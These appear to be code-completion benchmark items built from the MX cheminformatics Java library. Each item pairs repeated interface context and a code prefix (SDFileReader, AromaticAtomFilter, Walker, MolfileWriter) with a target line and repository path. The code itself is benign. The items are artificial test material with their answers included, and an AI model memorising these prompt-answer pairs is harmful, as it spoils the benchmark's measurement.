line = reader.readLine(); } } catch (IOException e) { throw new RuntimeException("An unexpected IO error occurred while reading file.", e); } record = buff.toString(); } public String getData(String key) { assertRecordLoaded(); Pattern pattern = keyPatterns.get(key); if (pattern == null) { pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL); keyPatterns.put(key, pattern); } Matcher matcher = pattern.matcher(record); return matcher.matches() ? matcher.group(1).trim() : ""; }
// Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/MoleculeKit.java // public class MoleculeKit // { // private static MolfileReader reader; // private static MolfileWriter writer; // private static VirtualHydrogenCounter hydrogenCounter; // private static String hydrogen = "H"; // private static MassCalculator massCalculator; // // static // { // reader = new MolfileReader(); // writer = new MolfileWriter(); // massCalculator = new MassCalculator(); // hydrogenCounter = new VirtualHydrogenCounter(); // } // // /** // * // */ // private MoleculeKit() // { // // } // // public static double getMass(Molecule molecule) // { // return massCalculator.findAveragedMass(molecule); // } // // public static Molecule readMolfile(String molfile) // { // Molecule result = new DefaultMolecule(); // // reader.read(result, molfile.replaceAll("\\\\n", "\n")); // // return result; // } // // public static Molecule readMolfile(String molfile, boolean virtualizeHydrogens) // { // Molecule mol = readMolfile(molfile); // // if (virtualizeHydrogens) // { // virtualizeHydrogens(mol); // } // // return mol; // } // // public static String writeMolfile(Molecule molecule) // { // return writer.write(molecule); // } // // public static void virtualizeHydrogens(Molecule molecule) // { // List toStrip = new ArrayList(); // // for (int i = 0; i < molecule.countAtoms(); i++) // { // Atom atom = molecule.getAtom(i); // // recordVirtualizableHydrogens(atom, toStrip); // } // // if (toStrip.isEmpty()) return; // // molecule.beginModify(); // // for (int i = 0; i < toStrip.size(); i++) // { // Atom atom = (Atom) toStrip.get(i); // // molecule.removeAtom(atom); // } // // molecule.endModify(); // } // // public static boolean isVirtualizableHydrogen(Atom atom) // { // if (!hydrogen.equals(atom.getSymbol())) // { // return false; // } // // if (atom.hasSingleIsotope() || atom.countNeighbors() != 1) // { // return false; // } // // Bond[] bonds = atom.getBonds(); // // return bonds[0].getStereo() == 0 && bonds[0].getType() == 1; // } // // public static boolean isVirtualizableHydrogenBond(Bond bond) // { // if (!(hydrogen.equals(bond.getSource().getSymbol()) || hydrogen.equals(bond.getTarget().getSymbol()))) // { // return false; // } // // if (hydrogen.equals(bond.getSource().getSymbol()) && hydrogen.equals(bond.getTarget().getSymbol())) // { // return false; // } // // return bond.getStereo() == 0 && bond.getType() == 1; // } // // private static void recordVirtualizableHydrogens(Atom atom, List toStrip) // { // if (!hydrogenCounter.isVirtualizableHeavyAtom(atom)) return; // // Bond[] bonds = atom.getBonds(); // // for (int i = 0; i < bonds.length; i++) // { // Bond bond = bonds[i]; // Atom neighbor = bond.getMate(atom); // // if (hydrogen.equals(neighbor.getSymbol())) // { // if (neighbor.hasSingleIsotope()) continue; // if (bond.getStereo() != 0) continue; // // toStrip.add(neighbor); // } // } // } // } // Path: src/com/metamolecular/mx/io/mdl/SDFileReader.java import java.io.IOException; import java.io.Reader; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.MoleculeKit; import java.io.BufferedReader; import java.io.FileReader; line = reader.readLine(); } } catch (IOException e) { throw new RuntimeException("An unexpected IO error occurred while reading file.", e); } record = buff.toString(); } public String getData(String key) { assertRecordLoaded(); Pattern pattern = keyPatterns.get(key); if (pattern == null) { pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL); keyPatterns.put(key, pattern); } Matcher matcher = pattern.matcher(record); return matcher.matches() ? matcher.group(1).trim() : ""; }
public Molecule getMolecule()
metamolecular/mx
src/com/metamolecular/mx/io/mdl/SDFileReader.java
// Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/MoleculeKit.java // public class MoleculeKit // { // private static MolfileReader reader; // private static MolfileWriter writer; // private static VirtualHydrogenCounter hydrogenCounter; // private static String hydrogen = "H"; // private static MassCalculator massCalculator; // // static // { // reader = new MolfileReader(); // writer = new MolfileWriter(); // massCalculator = new MassCalculator(); // hydrogenCounter = new VirtualHydrogenCounter(); // } // // /** // * // */ // private MoleculeKit() // { // // } // // public static double getMass(Molecule molecule) // { // return massCalculator.findAveragedMass(molecule); // } // // public static Molecule readMolfile(String molfile) // { // Molecule result = new DefaultMolecule(); // // reader.read(result, molfile.replaceAll("\\\\n", "\n")); // // return result; // } // // public static Molecule readMolfile(String molfile, boolean virtualizeHydrogens) // { // Molecule mol = readMolfile(molfile); // // if (virtualizeHydrogens) // { // virtualizeHydrogens(mol); // } // // return mol; // } // // public static String writeMolfile(Molecule molecule) // { // return writer.write(molecule); // } // // public static void virtualizeHydrogens(Molecule molecule) // { // List toStrip = new ArrayList(); // // for (int i = 0; i < molecule.countAtoms(); i++) // { // Atom atom = molecule.getAtom(i); // // recordVirtualizableHydrogens(atom, toStrip); // } // // if (toStrip.isEmpty()) return; // // molecule.beginModify(); // // for (int i = 0; i < toStrip.size(); i++) // { // Atom atom = (Atom) toStrip.get(i); // // molecule.removeAtom(atom); // } // // molecule.endModify(); // } // // public static boolean isVirtualizableHydrogen(Atom atom) // { // if (!hydrogen.equals(atom.getSymbol())) // { // return false; // } // // if (atom.hasSingleIsotope() || atom.countNeighbors() != 1) // { // return false; // } // // Bond[] bonds = atom.getBonds(); // // return bonds[0].getStereo() == 0 && bonds[0].getType() == 1; // } // // public static boolean isVirtualizableHydrogenBond(Bond bond) // { // if (!(hydrogen.equals(bond.getSource().getSymbol()) || hydrogen.equals(bond.getTarget().getSymbol()))) // { // return false; // } // // if (hydrogen.equals(bond.getSource().getSymbol()) && hydrogen.equals(bond.getTarget().getSymbol())) // { // return false; // } // // return bond.getStereo() == 0 && bond.getType() == 1; // } // // private static void recordVirtualizableHydrogens(Atom atom, List toStrip) // { // if (!hydrogenCounter.isVirtualizableHeavyAtom(atom)) return; // // Bond[] bonds = atom.getBonds(); // // for (int i = 0; i < bonds.length; i++) // { // Bond bond = bonds[i]; // Atom neighbor = bond.getMate(atom); // // if (hydrogen.equals(neighbor.getSymbol())) // { // if (neighbor.hasSingleIsotope()) continue; // if (bond.getStereo() != 0) continue; // // toStrip.add(neighbor); // } // } // } // }
import java.io.IOException; import java.io.Reader; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.MoleculeKit; import java.io.BufferedReader; import java.io.FileReader;
} public String getData(String key) { assertRecordLoaded(); Pattern pattern = keyPatterns.get(key); if (pattern == null) { pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL); keyPatterns.put(key, pattern); } Matcher matcher = pattern.matcher(record); return matcher.matches() ? matcher.group(1).trim() : ""; } public Molecule getMolecule() { assertRecordLoaded(); Matcher matcher = molfilePattern.matcher(record); matcher.find(); String molfile = matcher.group(1);
// Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/MoleculeKit.java // public class MoleculeKit // { // private static MolfileReader reader; // private static MolfileWriter writer; // private static VirtualHydrogenCounter hydrogenCounter; // private static String hydrogen = "H"; // private static MassCalculator massCalculator; // // static // { // reader = new MolfileReader(); // writer = new MolfileWriter(); // massCalculator = new MassCalculator(); // hydrogenCounter = new VirtualHydrogenCounter(); // } // // /** // * // */ // private MoleculeKit() // { // // } // // public static double getMass(Molecule molecule) // { // return massCalculator.findAveragedMass(molecule); // } // // public static Molecule readMolfile(String molfile) // { // Molecule result = new DefaultMolecule(); // // reader.read(result, molfile.replaceAll("\\\\n", "\n")); // // return result; // } // // public static Molecule readMolfile(String molfile, boolean virtualizeHydrogens) // { // Molecule mol = readMolfile(molfile); // // if (virtualizeHydrogens) // { // virtualizeHydrogens(mol); // } // // return mol; // } // // public static String writeMolfile(Molecule molecule) // { // return writer.write(molecule); // } // // public static void virtualizeHydrogens(Molecule molecule) // { // List toStrip = new ArrayList(); // // for (int i = 0; i < molecule.countAtoms(); i++) // { // Atom atom = molecule.getAtom(i); // // recordVirtualizableHydrogens(atom, toStrip); // } // // if (toStrip.isEmpty()) return; // // molecule.beginModify(); // // for (int i = 0; i < toStrip.size(); i++) // { // Atom atom = (Atom) toStrip.get(i); // // molecule.removeAtom(atom); // } // // molecule.endModify(); // } // // public static boolean isVirtualizableHydrogen(Atom atom) // { // if (!hydrogen.equals(atom.getSymbol())) // { // return false; // } // // if (atom.hasSingleIsotope() || atom.countNeighbors() != 1) // { // return false; // } // // Bond[] bonds = atom.getBonds(); // // return bonds[0].getStereo() == 0 && bonds[0].getType() == 1; // } // // public static boolean isVirtualizableHydrogenBond(Bond bond) // { // if (!(hydrogen.equals(bond.getSource().getSymbol()) || hydrogen.equals(bond.getTarget().getSymbol()))) // { // return false; // } // // if (hydrogen.equals(bond.getSource().getSymbol()) && hydrogen.equals(bond.getTarget().getSymbol())) // { // return false; // } // // return bond.getStereo() == 0 && bond.getType() == 1; // } // // private static void recordVirtualizableHydrogens(Atom atom, List toStrip) // { // if (!hydrogenCounter.isVirtualizableHeavyAtom(atom)) return; // // Bond[] bonds = atom.getBonds(); // // for (int i = 0; i < bonds.length; i++) // { // Bond bond = bonds[i]; // Atom neighbor = bond.getMate(atom); // // if (hydrogen.equals(neighbor.getSymbol())) // { // if (neighbor.hasSingleIsotope()) continue; // if (bond.getStereo() != 0) continue; // // toStrip.add(neighbor); // } // } // } // } // Path: src/com/metamolecular/mx/io/mdl/SDFileReader.java import java.io.IOException; import java.io.Reader; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.MoleculeKit; import java.io.BufferedReader; import java.io.FileReader; } public String getData(String key) { assertRecordLoaded(); Pattern pattern = keyPatterns.get(key); if (pattern == null) { pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL); keyPatterns.put(key, pattern); } Matcher matcher = pattern.matcher(record); return matcher.matches() ? matcher.group(1).trim() : ""; } public Molecule getMolecule() { assertRecordLoaded(); Matcher matcher = molfilePattern.matcher(record); matcher.find(); String molfile = matcher.group(1);
return MoleculeKit.readMolfile(molfile);
metamolecular/mx
src/com/metamolecular/mx/query/AromaticAtomFilter.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // }
import com.metamolecular.mx.model.Atom;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.query; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class AromaticAtomFilter implements AtomMatcher { public AromaticAtomFilter() { }
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/query/AromaticAtomFilter.java import com.metamolecular.mx.model.Atom; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.query; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class AromaticAtomFilter implements AtomMatcher { public AromaticAtomFilter() { }
public boolean matches(Atom atom)
metamolecular/mx
src/com/metamolecular/mx/walk/Walker.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // }
import com.metamolecular.mx.model.Atom;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.walk; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public interface Walker { public void setMaximumDepth(int depth); public int getMaximumDepth();
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/walk/Walker.java import com.metamolecular.mx.model.Atom; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.walk; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public interface Walker { public void setMaximumDepth(int depth); public int getMaximumDepth();
public void walk(Atom atom, Reporter reporter);
metamolecular/mx
src/com/metamolecular/mx/io/mdl/MolfileWriter.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // }
import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.text.DecimalFormat; import java.text.DecimalFormatSymbols; import java.util.List; import java.util.ArrayList;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.io.mdl; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class MolfileWriter { private static String ZERO2 = " 0"; private static String ZERO3 = " 0"; private static String CHIRAL_OFF = ZERO3; private static String VERSION = " V2000"; private static String NEWLINE = "\n"; private static DecimalFormat COORD = new DecimalFormat("####0.0000"); private static String BLANK = " "; private static String M = "M "; private static String M_END = M + "END"; static { DecimalFormatSymbols symbols = new DecimalFormatSymbols(); symbols.setDecimalSeparator(".".charAt(0)); COORD.setDecimalFormatSymbols(symbols); } public MolfileWriter() { }
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/io/mdl/MolfileWriter.java import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.text.DecimalFormat; import java.text.DecimalFormatSymbols; import java.util.List; import java.util.ArrayList; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.io.mdl; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class MolfileWriter { private static String ZERO2 = " 0"; private static String ZERO3 = " 0"; private static String CHIRAL_OFF = ZERO3; private static String VERSION = " V2000"; private static String NEWLINE = "\n"; private static DecimalFormat COORD = new DecimalFormat("####0.0000"); private static String BLANK = " "; private static String M = "M "; private static String M_END = M + "END"; static { DecimalFormatSymbols symbols = new DecimalFormatSymbols(); symbols.setDecimalSeparator(".".charAt(0)); COORD.setDecimalFormatSymbols(symbols); } public MolfileWriter() { }
public String write(Molecule molecule)
metamolecular/mx
src/com/metamolecular/mx/io/mdl/MolfileWriter.java
